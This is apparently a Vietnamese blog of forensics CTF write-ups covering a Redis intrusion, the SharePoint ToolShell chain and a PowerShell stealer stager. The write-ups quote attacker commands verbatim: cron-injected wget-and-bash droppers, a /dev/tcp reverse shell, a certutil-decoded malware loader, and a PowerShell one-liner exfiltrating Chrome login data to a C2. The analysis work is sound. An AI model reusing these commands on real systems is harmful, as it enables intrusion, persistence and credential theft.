File tmp Chính là file được gọi đến khi file cert được thực thi. Nhưng vấn đề là author không cung cấp cho chúng ta thư mục Temp (aizzzz shiba), vậy thì lấy thông tin của C2 bằng cách nào? Sau một lúc bị stuck ở đây, nhưng chỉbằng một câu search rất đơn giản thì mình thấy được report sau trên Any.run

https://any.run/report/a64be5730df8ea564739b297be23fa5a27abf2b3f5616dc4d8603b32801a7c5b/9f2e4c1e-cbbe-4f22-90b6-ac29e00d11df :)))) lmao, nó có đầy đủ các thông tin mà chúng ta cần.

nó ghi rõ thông tin về C2 framework là Sliver luôn. Đáp án: Sliver

Task 15: What is the IP address and port number of the malicious C2 server used by the attacker?

Cũng dựa vào report Any.run ở trên, chúng ta cũng trả lời được cho câu hỏi này

Đáp án: 18.192.12.126:8888

Cảm ơn các bạn đã đọc đến đây, chúc một ngày tốt lành

(\_/)
(•.•)
(>☕

SawG, a.k.a EagleBoiz

HackTheBox - RedTrail

Wed, 14 Jan 2026 00:00:00 GMT

RedTrail là một challenge của HackTheBox,

Đây là description của đề

Our SOC team detected a suspicious activity on one of our redis instance. Despite the fact it was password protected it seems that the attacker still obtained access to it. We need to put in place a remediation strategy as soon as possible, to do that it's necessary to gather more informations about the attack used. NOTE: flag is composed by three parts.

oke cùng giải quyết nó nào

Initial Access

Tải attachment, đề cho chúng ta một file .pcap, mở bằng nó bằng wireshark

Chúng ta có thể thấy, có rất nhiều gói RESP (REdis Serialization Protocol), thì đây là một giao thức được thiết kế đặt biệt cho việc client-server communication trong Redis Mình sẽ để một số nguồn tham khảo cho các bạn muốn tìm hiểu sau về giao thức này: https://github.com/redis/redis-specifications/blob/master/protocol/RESP2.md https://redis-doc-test.readthedocs.io/en/latest/topics/protocol/)

Follow TCP Stream để xem cụ thể nội dung các gói này là gì

tcp.stream eq 0

Ở stream 0 này, ta thấy attacker đã thực hiện xác thực thông qua lệnh AUTH và password:1943567864 chứng tỏ attacker đã có được thông tin đăng nhập này bằng một cách nào đó (author không cho chúng ta context cụ thể ở phần này).

Sau khi có được quyền truy cập, attacker thực hiện hành vi reconnaissance server Redis

Credential Exfiltration

tiếp theo, ta có thể thấy attacker đang enumeration và trích xuất các credential

và ở đây ta được Flag-part2: _c0uld_0p3n_n3w

ở đây ta thấy được attacker sử dụng các lệnh:

CONFIG SET DIR /var/spool/cron CONFIG SET DBFILENAME root

SET TY1RI8 * * * * * wget -O VgLy8V0Zxo 'http://files.pypi-install.com/packages/VgLy8V0Zxo' && bash VgLy8V0Zxo

từ đó ta biết được rằng attacker đang thực hiện việc inject vào cronjob để thực thi việc drop malware và persistence.

và vào phần export của wireshark, ta thấy được file bị inject vào, dump nó ra để phân tích thoi

ở đây shell chỉ thực hiện việc tách chuỗi thoi, không có gì khó để recover lại

ta thấy đoạn base64 này đang bị reverse thoi

Persistence

sử dụng cyberchef để decode thì ta thấy nó đang thực hiện một bash script khác.

Thì bash script này cũng đang thực hiện việc nối các biến chứa chuỗi base64 rồi decode và gọi bash để thực thi, ta có thể viết lại như sau:

ở đây chúng ta thấy rõ ràng persistence theo 2 hướng khác nhau:

Hướng 1: attacker sẽ ghi bash -c "bash -i >& /dev/tcp/10.10.0.200/1337 0>&1" vào file /etc/update-motd.d/00-header, thì file này sẽ được thực thi để print ra banner khi có người dùng kết nối và đăng nhập thông qua SSH. Vậy nên khi có người đăng nhập vào, thì server gửi một reverse shell về 10.10.0.200:1337 của attacker

Hướng 2: script sẽ ghi vào ~/.ssh/authorized_keys một key của attacker từ đó tạo thêm một backdoor khác mà attacker có thể dùng để access đến server victim.

Trong key này, ta cũng thấy được Flag-part1: HTB{r3d15_1n574nc35

Write malicious RDB & RCE:

Đến với stream tiếp theo

Ta thấy attacker đang thực thi một số lệnh như: AUTH 1943567864 SLAVEOF 10.10.0.15 6379: cho phép attacker gửi file RDB tùy ý CONFIG SET DIR /data: CONFIG SET dbfilename x10SPFHN.so (Attacker chuẩn bị drop malicious Redis module) MODULE LOAD ./x10SPFHN.so: Redis load module độc hại SLAVEOF NO ONE, CONFIG SET dbfilename dump.rdb, system.exec rm -v ./x10SPFHN.so: Xóa dấu vết

Drop malware

wget --no-check-certificate -O gezsdSC8i3 'https://files.pypi-install.com/packages/gezsdSC8i3' && bash gezsdSC8i3 : thể hiện rõ ràng hành vi drop và thực thi malware sau đó MODULE UNLOAD system: xóa dấu vết

oke nhìn vào các response của server, ta thấy output các lệnh RCE của attacker đã bị mã hóa.

Reverse Engineering

Dump malicious .SO file

Tiếp đến stream này, rõ ràng tác giả đã cố tình ép cho server phải FULLRESYNC, từ đó in ra đầy đủ file ELF, File này có thể chính là file x10SPFHN.so mà ta thấy đã bị write out ở stream trước.

Nhưng có một vấn đề là, do file này được đang được hiển thị thông replication payload, nên wireshark không hiểu được đây là một object file, nên sẽ không dump được theo cách thông thường.

để dump được, ta chuyển show data as thành raw, sao đó copy từ đoạn 7F 45 4c 46 (*ELF - đây là header của executable file)

sau đó dùng cyberchef để wrap lại thành file ELF hoàn chỉnh và save xuống.

oke ngonn lành:>>

RE with IDA

Oke giờ load file x10SPFHN.so vào IDA

Toi cũng không biết tại sao file này lại không mở được tab Strings, thoi kệ, lướt chay xuống .rodata đọc luôn.

oke thì ở đây toi thấy được string system.exec, chính là lệnh mà attacker đã gọi ra để thực thi các lệnh RCE mà ta thấy ở stream 2

xem xrefs thì thấy nó đang được gọi ở hàm RedisModule_OnLoad Tóm tắt thì trong sau khi Module độc hại sau khi được load thì sẽ đăng ký một command mới là system.exec, lệnh này nó sẽ gọi tới hàm DoCommand và nhận vào các tham số để thực thi theo cú pháp sau system.exec <args>

oke tiếp theo thì phân tích hàm DoCommand

Ở biến command,nó sẽ giữ giá trị là lệnh hệ điều hành do attacker gửi vào Redis. Sau đó nó dùng popen() để thực thi lệnh này. Đọc stdout của command từng phần fgets sau đó wrap lại hoàn chỉnh toàn bộ output vào buffer dest => Remote Command Execution hoàn chỉnh.

Tiếp đến, script thực hiện setup mã hóa output của command bằng AES-256-CBC, với KEY và IV lần lượt là các biến src và v28 với giá trị là KEY = "h02B6aVgu09Kzu9QTvTOtgx9oER9WIoz", IV = "YDP7ECjzuV7sagMN"

sau khi đã mã hóa, nó dùng dòng lặp để duyệt và convert các byte đã được mã hóa sang string hex, và gọi hàm RedisModule_ReplyWithString() để gửi lại output đến Redis client

oke dựa vào quy trình mã hóa này cùng với KEY và IV, ta sẽ decrypt lại các output đã thấy ở stream 2

với các lệnh và output trên, ta lần lượt decrypt và đây là kết quả:

và đặt biệt, với lệnh: system.exec wget --no-check-certificate -O gezsdSC8i3 'https://files.pypi-install.com/packages/gezsdSC8i3' && bash gezsdSC8i3

thì có thể đoán được file gezsdSC8i3 mà attacker tải về và thực thi là để trích xuất các biến môi trường và trong các giá trị của biến môi trường này ta cũng có được FLAG-PART3:_un3xp3c73d_7r41l5!}

wrap 3 part lại, ta được flag hoàn chỉnh: HTB{r3d15_1n574nc35_c0uld_0p3n_n3w_un3xp3c73d_7r41l5!}

Cảm ơn mọi người đã đọc đến đây, chúc một ngày tốt lành

(\_/)
(•.•)
(>☕
–– SawG, a.k.a EagleBoiz

VCS Passport 2025 - Gimme Your Point

Mon, 29 Dec 2025 00:00:00 GMT

Gimme Your Point là một challenge trong CTF Blue của VCS Passport 2025

đề cung cấp cho chúng ta một file .pcap

Oker mở lên xem nào

Ta thấy client đang request GET đến 30.243.67.129/_layouts/15/start.aspx và ta thấy được response là SharePoint Start Page mặc định. Ở stream này, ta chưa thấy có gì độc hại ở đây, có vẻ author muốn cho chúng ta context.

RCE (CVE-2025-53771, CVE-2025-53770)

đến với stream tiếp theo thì request này KHÔNG phải request bình thường, mà là một bước trong chuỗi khai thác ToolShell:

CVE-2025-53771 (auth bypass) ➜ CVE-2025-53770 (unsafe deserialization → RCE)

Mình sẽ cung cấp 2 blog nói về 2 con CVE này ở đây:

https://www.wiz.io/blog/sharepoint-vulnerabilities-cve-2025-53770-cve-2025-53771-everything-you-need-to-k

https://blog.viettelcybersecurity.com/toolshell-chuoi-lo-hong-sharepoint-nghiem-trong-dang-bi-khai-thac-trong-thuc-te/

Tóm tắt thì:

CVE-2025-53771 kỹ thuật bypass xác thực, cho phép truy cập ToolPane.aspx không cần đăng nhập.

Cách khai thác SharePoint đã chặn truy cập trực tiếp: /_layouts/15/ToolPane.aspx Tuy nhiên, nếu attacker thêm path phía sau .aspx, ví dụ: /_layouts/15/ToolPane.aspx/anything SharePoint vẫn xử lý request như ToolPane.aspx. Khi kết hợp với header: Referer: /_layouts/SignOut.aspx logic kiểm tra xác thực bị đánh lừa.

Kết quả

Bypass thành công cơ chế bảo vệ
Truy cập ToolPane.aspx ở chế độ ẩn danh
Mở đường cho các bước khai thác tiếp theo (inject WebPart / deserialization / RCE)

Từ đó chúng ta thấy rõ ràng sự việc khai thác CVE luôn

Tiếp theo là về CVE-2025-53770:

Body request của attacker trong như sau:

Mình đã decode để dễ đọc hơn:

MSOTlPn_Uri → Tham số hợp lệ của ToolPane, dùng để đánh lừa SharePoint rằng request là một WebPart hợp pháp.
MSOTlPn_DWP → Payload khai thác chính. SharePoint render trực tiếp nội dung này mà không xác thực.
Bên trong MSOTlPn_DWP, attacker:
- Đăng ký ASP.NET control nguy hiểm
- Nhúng dữ liệu nén + serialized (CompressedDataTable)
- Khi xử lý, SharePoint giải nén + deserialize, dẫn tới thực thi mã

Kết quả

Remote Code Execution

decode đoạn base64 -> gunzip (do cơ chế lưu trữ đặc thù của thư viện PerformancePoint Services trong SharePoint) trong thẻ CompressedDataTable ta được

Việc mã độc nằm trong thẻ <anyType> (với kiểu xsd:string) là một thủ thuật kỹ thuật nhằm mục đích:

Làm tham số cho "ngòi nổ": Hacker đang gọi hàm Deserialize của lớp LosFormatter. Hàm này bắt buộc cần một tham số đầu vào. Thẻ <anyType> đóng vai trò là "vùng chứa" để truyền tham số đó vào.
Khai báo kiểu dữ liệu vạn năng: Thẻ <anyType> cực kỳ linh hoạt trong XML. Nó cho phép hacker nhét một chuỗi Base64 cực dài (thực chất là đối tượng nhị phân) mà không làm máy chủ nghi ngờ hoặc gây lỗi định dạng khi phân tích cú pháp XML.
Tạo cuộc tấn công lồng nhau (Nested Attack): Máy chủ tưởng rằng nó chỉ đang đọc một chuỗi văn bản (string), nhưng khi hàm Deserialize xử lý chuỗi đó, nó lại biến thành một lệnh thực thi hệ thống (PowerShell).

tiếp tục decode đoạn base64 trong thẻ <anyType> này ta được: ở đây ta thấy có các lệnh hệ thống, sẽ được viết lại thành:

# 1. Tải tệp tin chứa mã độc từ máy chủ C2 của hacker
Invoke-WebRequest -Uri http://30.243.67.128:1234/raw_package -OutFile C:\Windows\Temp\raw_package; 

# 2. Chèn thêm các đoạn mã Base64 vào tệp để tạo cấu trúc Certutil hợp lệ
Add-Content -Path C:\Windows\Temp\raw_package -Value bGVYQjFibU4wU1dOTVlqRkZSVVVBDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0t -Encoding UTF8; 
Add-Content -Path C:\Windows\Temp\raw_package -Value DQo= -Encoding UTF8; 
Add-Content -Path C:\Windows\Temp\raw_package -Value '-----END CERTIFICATE-----' -Encoding UTF8; 

# 3. Sử dụng công cụ hệ thống certutil để giải mã tệp (vượt qua AV)
certutil -decode C:\Windows\Temp\raw_package C:\Windows\Temp\d1; 
certutil -decode C:\Windows\Temp\d1 C:\Windows\Temp\health_check.exe; 

# 4. Xóa các tệp tạm để xóa dấu vết
del C:\Windows\Temp\raw_package; 
del C:\Windows\Temp\d1; 

# 5. Kích hoạt mã độc và xóa file sau khi chạy
C:\Windows\Temp\health_check.exe; 
sleep 10; 
del C:\Windows\Temp\health_check.exe

oke đến đây chúng ta đã biết và hiểu được quá trình mà attacker bypass auth (CVE-2025-53771), khai thác lỗ hỏng (CVE-2025-53770), RCE và tải về một con malware. Tiếp theo, chúng ta cố gắng tái tạo và phân tích con malware này.

Phân tích malware health_check.exe:

tiếp đến stream 2:

ta thấy nó đang tải file raw_package từ host 30.243.67.128:1234, Đây chính là C2 của attacker, mà chúng ta đã phân tích phân tích đoạn RCE ở trên. Như đã biết, đây là đoạn binary đã được ngụy trang qua 2 lớp base64 để tạo thành malware được lưu dưới tên health_check.exe.

Do base64 này được lưu và format dưới dạng cert, nên nó bị add phần BEGIN, END CERT nên việc decode chay bằng cyberchef thì phải xóa các byte rác và format, nên hay vì vậy chúng chạy thẳng các lệnh RCE đã decode và giải nén ở bước trước luôn:)))), lười.

kiểm tra lại:

Ta thấy đây là file 64-bit executable, biên dịch bằng MinGW-w64 GCC (Vậy là được viết bằng C/C++) và không bị packed.

oker có vẻ ổn rồi, giờ load vào ida để phân tích thoiii

Tóm tắt thì: Malware này thu thập dữ liệu Chrome (Login Data + Local State) -> copy sang thư mục tạm -> nén + đặt password -> upload ZIP lên C2 bằng PowerShell.

Bắt đầu ở hàm main() nào:

Ở đây chúng ta thấy rõ ràng hành vi thu thập dữ liệu, cụ thể là nó sẽ xác định các path %localappdata%\\Google\\Chrome\\User Data\\Default\\Login Data và %localappdata%\\Google\\Chrome\\User Data\\Local State -> resolve các path này -> tạo thư mục temp đặt tên theo GUID, còn các files chrome_health_result, chrome_service_result sẽ copy raw từ Login Data, Local State

CopyFileW(Login Data -> chrome_health_result) CopyFileW(Local State -> chrome_service_result)

Tiếp theo nó sẽ nén folder chứa các dữ liệu đã đánh cắp, được đặt tên là GUID thành file .zip + đặt bằng khẩu thông qua GenPass3

Sau đó nó thực hiện exfiltrate file .zip đó đến C2 30.243.67.128:8000 bằng powershell

powershell.exe "Add-Type -AssemblyName 'System.Net.Http'; $file = Get-Item '{ZIP_PATH}'; $client = New-Object System.Net.Http.HttpClient; $content = New-Object System.Net.Http.MultipartFormDataContent; $fileStream = $file.OpenRead(); $fileContent = New-Object System.Net.Http.StreamContent($fileStream); $content.Add($fileContent, 'file', $file.Name); $response = $client.PostAsync('http://30.243.67.128:8000/upload', $content).Result; $fileStream.Close(); $client.Dispose()"

Bên cạnh đó chúng ta hãy tìm hiểu cách mà con malware này GenPass cho file .zip này

GenPass3:

ta có thể thấy là nó đang gọi GenPass2, sau khi gọi thành công thì nó append "s" vào. Tiếp tục xem GenPass2.

GenPass2 nó lại tiếp tục gọi GenPass1, sau đó thì nó append "_" vào

GenPass1

thì ta đã đến được nơi khởi tạo chuỗi gốc. Tóm lại thì đây là call flow của genpass này:

GenPass3 L___GenPass2 L______GenPass1

=> password sẽ là: _p4$$w0d_s (Nhưng đây chưa phải là pass thật)

Quay lại file pcap một tí

thì ở stream 3, ta thấy có một file zip đã được gửi đến 30.243.67.128:8000, thì dựa vào những phân tích vừa rồi, chúng ta có thể khẳng định ngay đây chính là file zip chứa các thông tin như Login Data, Local State đã bị malware đánh cắp và đang gửi đến C2. Export nó ra thôi.

Đúng như dự đoán là nó chứa 2 file bị đánh cắp (đã được đổi tên) và chắc chắn khi giải nén thì nó sẽ yêu cầu password, lấy password mà ta vừa phân tích được ở trên (_p4$$w0d_s) là được.

BÙMMMMMMMMMMMMMMMMMMMMMMMMMM

Incorrect password

hơ hơ, sai pass rồi, cayyyyy.

Sau một hồi kiểm tra, toi lục đến section .rdata (read-only data) để xem các chuỗi password được lưu như thế nào. Thì ối giời oi, còn những chuỗi khác mà tôi đã bỏ sót

Nhưng kì lạ ở chỗ, toi xem cross-reference list của các chuỗi này thì chỉ có 's','_','_p4$$w0d' là được gọi

nên chúng ta đã nhằm tưởng _p4$$w0d_s là password đúng, nhưng không phải

còn các chuỗi như 'up3r', 'S3(ReT',... thì không thấy được gọi, sử dụng ở bất kỳ đâu trong chương trình.

thì ở đây chúng ta có thể craft mật khẩu thủ công, ngồi mò mò, dò dò nào đúng thì được file:))))

Nhưng còn một cách khác, chúng ta có thể debug.

Quay lại hàm CompressFolder() nơi mà lệnh để zip file được thực thi, thì chúng ta đã biết, khi nén bằng commandline thì với 7zip, sẽ dùng -p <password> để đặt mật khẩu cho file zip đó, vậy khi chúng ta đặt breakpoint tại điểm mà tạo ra tiến trình nén file, ta có thể thấy được hoàn chỉnh câu lệnh do malware thực thi để nén file.

Dựa vào ý tưởng đó toi đã đặt breakpoint tại:

trong trường hợp này v4 là con trỏ LPWSTR trỏ tới commandline string (powershell one-liner)

cụ thể hơn, khi này thanh rax sẽ giữ toàn bộ commandline, oke start và lấy pass thôi.

oke bingo

ở đây chúng ta có thể export ra hex string, rồi xóa bỏ các byte rác và format lại để lấy 1 chuỗi command hoàn chỉnh

hoặc quăng cho chatbot kêu nó format lại cho lẹ:)))))))))))

đây là toàn bộ câu lệnh đó: "C:\Program Files\VMware\VMware Tools\7za.exe" a "C:\Windows\Temp\{CC70F63E-CFD4-4C58-B9D4-EEA602E19294}.zip" "C:\Windows\Temp\{CC70F63E-CFD4-4C58-B9D4-EEA602E19294}\*" -p sup3r_S3(ReT_p4$$w0d

và password hoành chỉnh là sup3r_S3(ReT_p4$$w0d

với pass này thì chúng ta đã giải nén thành công file zip

kiểm tra nó là file gì

vì file chrome_health_result là Login Data, khá thú vị nên toi bắt đầu từ nó.

Mở nó bằng DB Browser (vì nó là file database)

oker đây rồi, ở record logins thì ta thấy được giá của cột username_value là SH4R3_y0R_P$$wD

craft với prefix là VCS{} thì ta được flag VCS{SH4R3_y0R_P$$wD}

Ngoài 1 số hàm của malware mà toi phân tích ở trên, vẫn còn một số hàm khác như

dùng để check xem có đang debug trong máy ảo hay không, cũng như là lấy path của 7zip cho phục việc nén file. Nếu debug ở máy thật chúng ta phải có thêm các bước đặt breakpoint để nhảy qua phần kiểm tra vm đó.

Cảm ơn mọi người đã đọc đến đây, chúc một ngày tốt lành

(\_/) (•.•) (>☕ ---- SawG, a.k.a EagleBoiz

CSCV 2025 – NostalgiaS

Wed, 22 Oct 2025 00:00:00 GMT

NostalgiaS Write-up

NostalgiaS là một challenge thuộc mảng Digital Forensics trong cuộc thi Sinh Viên An Ninh Mạng 2025 (Cyber Security Contest VietNam 2025), cuộc thi quy tụ rất nhiều đội CTF mạnh trong cộng đồng sinh viên ở Việt Nam cũng như một số nước khu vực Asian.

Đây là writeup chia sẻ về quá trình và hướng giải mình giải bài NostalgiaS này khi thi, nếu có sai sót hay cần cải thiện thì mong được mọi người góp ý.

Đây là description của đề

Oke, chúng ta tải file challenge của đề và bắt đầu thôi.

đề cung cấp cho ta một file .ad1 (có thể tìm hiểu thêm ở đây), và công cụ không thể thiếu để phân tích file này FTK Imager.

Sau khi load evidence vào FTK Imager, ta được như sau:

Có thể thấy author đã dump ổ cứng cho chúng ta khá đầy đủ.

Ở thư mục Users, có một người dùng với username là kadoyat, bắt đầu từ đây thoi.

Sau một lúc lục lọi thì thì ở thư mục Documents của user kadoyat, tôi thấy có các file Excel Macro: accounting.xlsm, budget_tracking.xlsm, và một file zip tax_calculation.zip chứa tệp tax_calculation.xlsm. Những file này hỗ trợ macro để lưu trữ các script VBA, và hacker có thể lợi dụng để chèn các mã độc hại, lợi dụng khi người dùng mở file để kích hoạt. Chúng ta sẽ dump các file macro đó để kiểm tra.

Với các file accounting.xlsm, budget_tracking.xlsm thì script VBA không có gì nguy hiểm, chỉ là hỗ trợ trong kế toán thoi, còn file zip tax_calculation.zip cần có mật khẩu để giải nén

Khá mờ ám, chúng ta thử dùng Hashcat để crack xem trong file có đính kèm mã độc không.

crack thành công mật khẩu của file tax_calculation.zip này là "secret". Nhưng một lần nữa, script VBA trong file .xlsm này cũng không có gì nguy hiểm. Có vẻ đây là cách lạc hướng của tác giả.

Tiếp theo hãy thử dump các registry như NTUSER.DAT, SYSTEM, SOFTWARE xem có gì thú vị có thể tìm thấy trong các hive này không.

Chúng ta sẽ dùng tool Regripper để kiểm tra. Đầu tiên là plugin runmru của RegRipper để lấy và trình bày các mục từ RunMRU (artifact của hộp Run — Win+R) trong hive người dùng.

Cũng không thấy gì đáng chú ý

Tiếp theo thì thử dùng plugin userassist. Plugin này đọc dữ liệu từ UserAssist keys trong file NTUSER.DAT để hiển thị chương trình hoặc file mà người dùng đã thực sự chạy

📂 Vị trí Registry mà plugin truy cập userassist plugin phân tích các khóa: "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist""

Ta có thể thấy powershell.exe đã được dùng, hmmm có vẻ khá sus. Phải kiểm tra xem powershell đã được dùng để thực thi cái gì.

rất may là tác giả đã dump cho ta khá đầy đủ, bao gồm các log của Windows Events, đặc biệt là Microsoft-Windows-PowerShell/Operational (chuyên ghi lại hoạt động thực thi của PowerShell)

chúng ta sẽ đặc biệt để ý đến EventID 4104, vì nó ghi nội dung script hoặc đoạn mã đã chạy (rất chi tiết — thường chứa payload của malware).

Chúng ta sẽ dùng tool EvtxECmd trong bộ công cụ điều tra số của Eric Zimmerman, để xuất các EventID 4104 dưới dạng file .csv để dễ dàng quan sát hơn

ở đây chúng ta thấy một event cực kì đáng nghi

để mình viết lại cho dễ nhìn

$AssemblyUrl = "https://pastebin.com/raw/90qeYSHA"
$XorKey = 0x24
$TypeName = "StealerJanai.core.RiderKick"
$MethodName = "Run"
try {
    $WebClient = New-Object System.Net.WebClient
    $encodedContent = $WebClient.DownloadString($AssemblyUrl)
    $WebClient.Dispose()

    $hexValues = $encodedContent.Trim() -split ',' | Where-Object { $_ -match '^0x[0-9A-Fa-f]+$' }

    $encodedBytes = New-Object byte[] $hexValues.Length
    for ($i = 0; $i -lt $hexValues.Length; $i++) {
        $encodedBytes[$i] = [Convert]::ToByte($hexValues[$i].Trim(), 16)
    }

    $originalBytes = New-Object byte[] $encodedBytes.Length
    for ($i = 0; $i -lt $encodedBytes.Length; $i++) {
        $originalBytes[$i] = $encodedBytes[$i] -bxor $XorKey
    }

    $assembly = [System.Reflection.Assembly]::Load($originalBytes)

    if ($TypeName -ne "" -and $MethodName -ne "") {
        $targetType = $assembly.GetType($TypeName)
        $methodInfo = $targetType.GetMethod($MethodName, [System.Reflection.BindingFlags]::Static -bor [System.Reflection.BindingFlags]::Public)
        $methodInfo.Invoke($null, $null)
    }
} catch {
    exit 1
}

Tóm tắt thì script này có workflow như sau:

Tải chuỗi dữ liệu từ pastebin.com/raw/90qeYSHA.
Chuỗi này là danh sách hex (ví dụ 0xAF,0x1C,...).
Tạo mảng byte từ hex, XOR từng byte với 0x24 để giải mã → thu được originalBytes.
Dùng [System.Reflection.Assembly]::Load để load bytes như .NET assembly (DLL/EXE) trực tiếp vào memory.
Sau đó lấy type StealerJanai.core.RiderKick và gọi phương thức tĩnh Run()

thì không thể bàn cãi gì thêm đây chính là quá trình stager của mã độc

Tiếp theo thì tạo một script để tải và giải mã payload gốc từ Pastebin, lưu thành file binary để tiện cho việc phân tích nhưng không thực thi

$u="https://pastebin.com/raw/90qeYSHA"
$k=0x24
$out="decoded.bin"
$wc=New-Object System.Net.WebClient
$txt=$wc.DownloadString($u)
$wc.Dispose()
$hex=$txt.Trim() -split ',' | Where-Object{$_ -match '^0x[0-9A-Fa-f]+$'}
$enc=[byte[]]::new($hex.Length)
for($i=0;$i -lt $hex.Length;$i++){ $enc[$i]=[Convert]::ToByte($hex[$i].Trim(),16) }
$dec=[byte[]]::new($enc.Length)
for($i=0;$i -lt $enc.Length;$i++){ $dec[$i]=$enc[$i] -bxor $k }
[IO.File]::WriteAllBytes($out,$dec)

Nhưng do author đã disable "https://pastebin.com/raw/90qeYSHA", rất may là trong lúc làm bài khi thi, mình vẫn còn giữ sample.

bỏ vào tool Exeinfo PE để kiểm tra bước đầu

chúng ta có thể dự đoán rất có khả năng file đó được biên dịch bằng .NET, cụ thể là C#

chúng ta sẽ mở file này với dnspy.

Xem sơ qua thì đây là một con info stealer, với C2 là một Discord Webhook (ảnh chụp bên trên có một phần cấu hình Discord Webhook). Nhưng do bài hành vi của mã độc tác động nhiều đến việc lấy được flag, nên mình sẽ không đi sâu vào phân tích hành vi, hay C2 để đỡ mất thời gian.

tiếp theo để ý ở class SystemSecretInformationCollector có thể thấy là nó đang cố decode và tạo một string gì đấy, bao gồm các kí tự như _, } => rất giống format của một flag CTF. Hãy phân tích kĩ hàm này.

using System;
using System.Collections.Generic;
using System.Text;
using Microsoft.Win32;

namespace StealerJanai.component.systeminfo
{
	// Token: 0x02000010 RID: 16
	public class SystemSecretInformationCollector
	{
		// Token: 0x06000037 RID: 55 RVA: 0x00003BB4 File Offset: 0x00001DB4
		public string Collect()
		{
			StringBuilder stringBuilder = new StringBuilder();
			try
			{
				string text = this.DecodeMagicToString("AuEcc3iNuamB9JOyfS1pel55JqxgJ83");
				string machineName = Environment.MachineName;
				string text2 = this.DecodeMagicToString("sA0m1sPHdceUL6HSvGAbFuhN");
				string registryValue = this.GetRegistryValue();
				string value = string.Concat(new string[]
				{
					text,
					machineName,
					"_",
					text2,
					registryValue,
					"}"
				});
				stringBuilder.Append(value);
			}
			catch (Exception ex)
			{
				stringBuilder.AppendLine(string.Format("Error: {0}", ex.Message));
			}
			return stringBuilder.ToString();
		}

		// Token: 0x06000038 RID: 56 RVA: 0x00003C58 File Offset: 0x00001E58
		private string DecodeMagicToString(string input)
		{
			string result;
			try
			{
				if (string.IsNullOrEmpty(input))
				{
					result = string.Empty;
				}
				else
				{
					List<byte> list = new List<byte>();
					foreach (char value in input)
					{
						int num = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".IndexOf(value);
						if (num < 0)
						{
							return "Invalid character";
						}
						int j = num;
						for (int k = list.Count - 1; k >= 0; k--)
						{
							int num2 = (int)(list[k] * 62) + j;
							list[k] = (byte)(num2 % 256);
							j = num2 / 256;
						}
						while (j > 0)
						{
							list.Insert(0, (byte)(j % 256));
							j /= 256;
						}
					}
					int num3 = 0;
					while (num3 < list.Count && list[num3] == 0)
					{
						num3++;
					}
					if (num3 >= list.Count)
					{
						result = string.Empty;
					}
					else
					{
						byte[] array = new byte[list.Count - num3];
						for (int l = 0; l < array.Length; l++)
						{
							array[l] = list[num3 + l];
						}
						result = Encoding.ASCII.GetString(array);
					}
				}
			}
			catch (Exception ex)
			{
				result = "Decode error: " + ex.Message;
			}
			return result;
		}

		// Token: 0x06000039 RID: 57 RVA: 0x00003DC8 File Offset: 0x00001FC8
		private string GetRegistryValue()
		{
			string result;
			try
			{
				using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\hensh1n"))
				{
					if (registryKey != null)
					{
						object value = registryKey.GetValue("");
						if (value != null)
						{
							return value.ToString();
						}
					}
				}
				result = "Registry key not found";
			}
			catch (Exception ex)
			{
				result = "Registry error: " + ex.Message;
			}
			return result;
		}

		// Token: 0x0400000B RID: 11
		private const string MagicChars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
	}
}

ta có thể thấy

hàm public string Collect()

Gọi DecodeMagicToString hai lần với hai hằng mã hoá, lấy Environment.MachineName, lấy giá trị registry SOFTWARE\hensh1n qua GetRegistryValue(), rồi ghép thành chuỗi: <decoded1><MachineName>_<decoded2><registryValue>}

Mình đã giải mã hai chuỗi trong code (theo thuật toán class cung cấp):

"AuEcc3iNuamB9JOyfS1pel55JqxgJ83" -> CSCV2025{your_computer_
"sA0m1sPHdceUL6HSvGAbFuhN" -> has_be3n_kicked_by

còn lại <MachineName> và <registryValue> ở SOFTWARE\hensh1n

với MachineName ta dễ dàng có được trong hive SYSTEM

và registryValue thì ở HKCU\SOFTWARE\hensh1n

kết hợp tất cả lại ta được flag:

CSCV2025{your_computer_DESKTOP-47ICHL6_has_be3n_kicked_by_HxrYJgdu}

Cảm ơn các bạn đã đọc đến đây, chúc một ngày tốt lành

(\_/)
(•.•)
(>☕

SawG, a.k.a EagleBoiz

FIA CTF CyberSus 2025 – frog10sion

Tue, 17 Jun 2025 00:00:00 GMT

Trong cuộc thi FIA CTF CyberSus 2025 của CLB FPT Information Assurance có một challenge thuộc mảng Forensics khá hay tên là frog10sion và trong bài writeup này chúng ta sẽ mổ sẻ nó. Sẵn đây chúng ta sẽ shout out cho anh Jerry Đặng, là author của bài này, cũng như là người dẫn dắt mình khi mới bước chân chập chững khi tìm hiểu về Forensics.

Oke bắt đầu thôi. <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/HkK26h67ex.png" alt="image">

Oke thì theo như description của bài thì có vẽ S4m Sm1th muốn hack trường nên đã tải một phần mềm lạ về và có thể anh ta đã vô tình tải phải mã độc.

Đề cho ta 1 file evidence.ad1 <img src="https://raw.githubusercontent.com/SawG23/CTF-writeups/main/asset/frog10sion/rJPO76pmex.png" alt="image">

như có thể thấy thì đây là 1 file disk image và sau khi tải về chúng ta sẽ sử dụng tool FTK Imager để mở nó.

sau khi import file evidence vào thì ta thấy được là:

Nguồn dữ liệu: Thư mục "C:\Users\Administrator\Desktop\Export\S4m Sm1th (AD1)".
Cấu trúc thư mục: Bao gồm các thư mục con như 3D Objects, AppData, Contacts, Links, Music, Saved Games, Searches, và Videos.

Thì ta có thể hiểu đây là 1 lát cắt bao gồm các thư mục của máy tính nạn nhân, thì dựa vào đây ta sẽ bắt đầu tìm kiếm các dấu vết để lại của mã độc từ đó có thể hình dung được việc gì đã xảy ra.

Quay lại description của tác giả, thì có đề cập đến việc đã tải một phần mềm lạ, chúng ta có thể bắt đầu từ manh mối này.

Để tải một phần mềm gì đó, maybe nạn nhân đã sử dụng một trình duyệt web nào đó để tải, có thể lịch sử duyệt web có thể sẽ hữu ích trong trường hợp này.

trong quá trình resreach về cách đề xem lịch sử duyệt web, thì tôi thấy trang web sau khá hữu ích: https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location

